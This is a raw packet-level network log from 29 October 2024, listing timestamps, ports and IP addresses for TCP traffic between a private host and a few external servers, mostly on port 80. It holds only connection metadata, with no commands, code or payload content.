Oct 29, 2024 05:02:28.052261114 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052299023 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052299023 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052687883 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052697897 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052710056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052742958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052755117 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052762985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052767038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.052800894 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.052849054 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.053232908 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053246021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053256035 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053293943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053307056 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.053309917 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053324938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053328991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.053360939 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.053360939 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.053381920 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053390980 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.053436995 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.096808910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.096818924 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.096888065 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.168940067 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.168958902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.168968916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.168977976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169018984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169049025 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169059992 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169060946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169097900 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169107914 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169111013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169147015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169178009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169476032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169522047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169532061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169542074 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169573069 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169579983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169591904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.169591904 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169621944 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.169651985 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170025110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170037031 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170046091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170077085 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170080900 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170111895 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170130968 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170134068 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170145988 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170157909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170165062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170202017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170202017 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170238018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170743942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170753956 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170763969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.170792103 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.170824051 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.256867886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.256879091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.256889105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.256932974 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.256975889 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.285902977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.285949945 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.285960913 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.285976887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286014080 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286026955 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286027908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286027908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286043882 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286055088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286056042 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286061049 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286073923 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286073923 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286094904 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286128044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286151886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286161900 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286171913 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286199093 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286230087 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286878109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286889076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286902905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.286942959 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.286942959 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287115097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287133932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287144899 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287169933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287187099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287187099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287225962 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287472963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287492990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287503958 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287527084 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287549019 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287554979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287570000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287580013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.287611008 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.287646055 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.373620987 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.373647928 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.373656988 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.373680115 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.373739004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.395920038 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:28.395931959 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:28.395997047 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:28.400453091 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:28.403078079 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403100014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403110027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403120041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403131008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403134108 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403170109 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403193951 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403223038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403242111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403251886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403271914 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403302908 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403358936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403369904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403378963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403390884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403409004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403415918 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403460026 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403460026 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.403975964 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403985977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.403995037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404036045 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404057026 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404073000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404083967 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404093027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404103994 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404134035 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404164076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404179096 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404195070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404227972 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404259920 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404855967 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404866934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404875994 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.404913902 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.404947996 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.405714035 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:28.490966082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.490987062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.490997076 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.491029978 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.491090059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520080090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520096064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520106077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520116091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520127058 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520148039 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520175934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520198107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520207882 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520222902 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520222902 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520261049 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520431995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520481110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520488024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520493031 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520510912 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520540953 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520570993 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520754099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520802021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520811081 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520813942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520848989 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520879984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.520894051 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520905972 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520910978 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520921946 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520931005 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.520958900 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521003962 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521503925 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521514893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521523952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521558046 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521575928 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521576881 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521589041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521626949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521626949 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521656036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521667957 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521677017 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.521703959 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.521735907 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.607973099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.607986927 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.607997894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.608047962 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.608103037 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.636998892 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637026072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637034893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637073994 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637099981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637121916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637132883 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637141943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637175083 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637187004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637294054 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637341022 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637351036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637387991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637387991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637402058 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637485027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637495041 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637504101 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637509108 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637521029 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637548923 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637567997 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637900114 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637909889 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637916088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637933969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.637963057 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.637981892 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638202906 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638215065 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638226032 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638262987 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638281107 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638292074 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638299942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638310909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638353109 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638353109 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638448954 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638706923 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638719082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638734102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638758898 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638782024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.638796091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638807058 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.638854980 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.660445929 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:28.704389095 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:28.724961042 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.724982023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.724992037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.725024939 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.725058079 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754081011 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754095078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754101992 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754108906 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754122019 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754189014 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754195929 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754208088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754245996 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754266024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754431963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754441023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754446983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754489899 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754503012 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754508018 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754520893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754533052 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754565001 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754586935 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754586935 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754750967 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754796982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754806995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754822969 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754856110 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754873037 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.754884958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754910946 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.754937887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755167961 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755209923 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755212069 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755220890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755273104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755280018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755280018 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755326033 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755470991 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755520105 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755526066 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755537033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755578041 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755578041 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755595922 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755606890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755671024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755671024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755697966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755707979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755714893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755722046 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:28.755747080 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.755775928 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:28.822046995 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:28.822138071 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:28.822222948 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:28.822640896 CET	49757	443	192.168.2.5	147.135.36.89
Oct 29, 2024 05:02:28.822678089 CET	443	49757	147.135.36.89	192.168.2.5
Oct 29, 2024 05:02:28.842066050 CET	80	49735	185.215.113.16	192.168.2.5
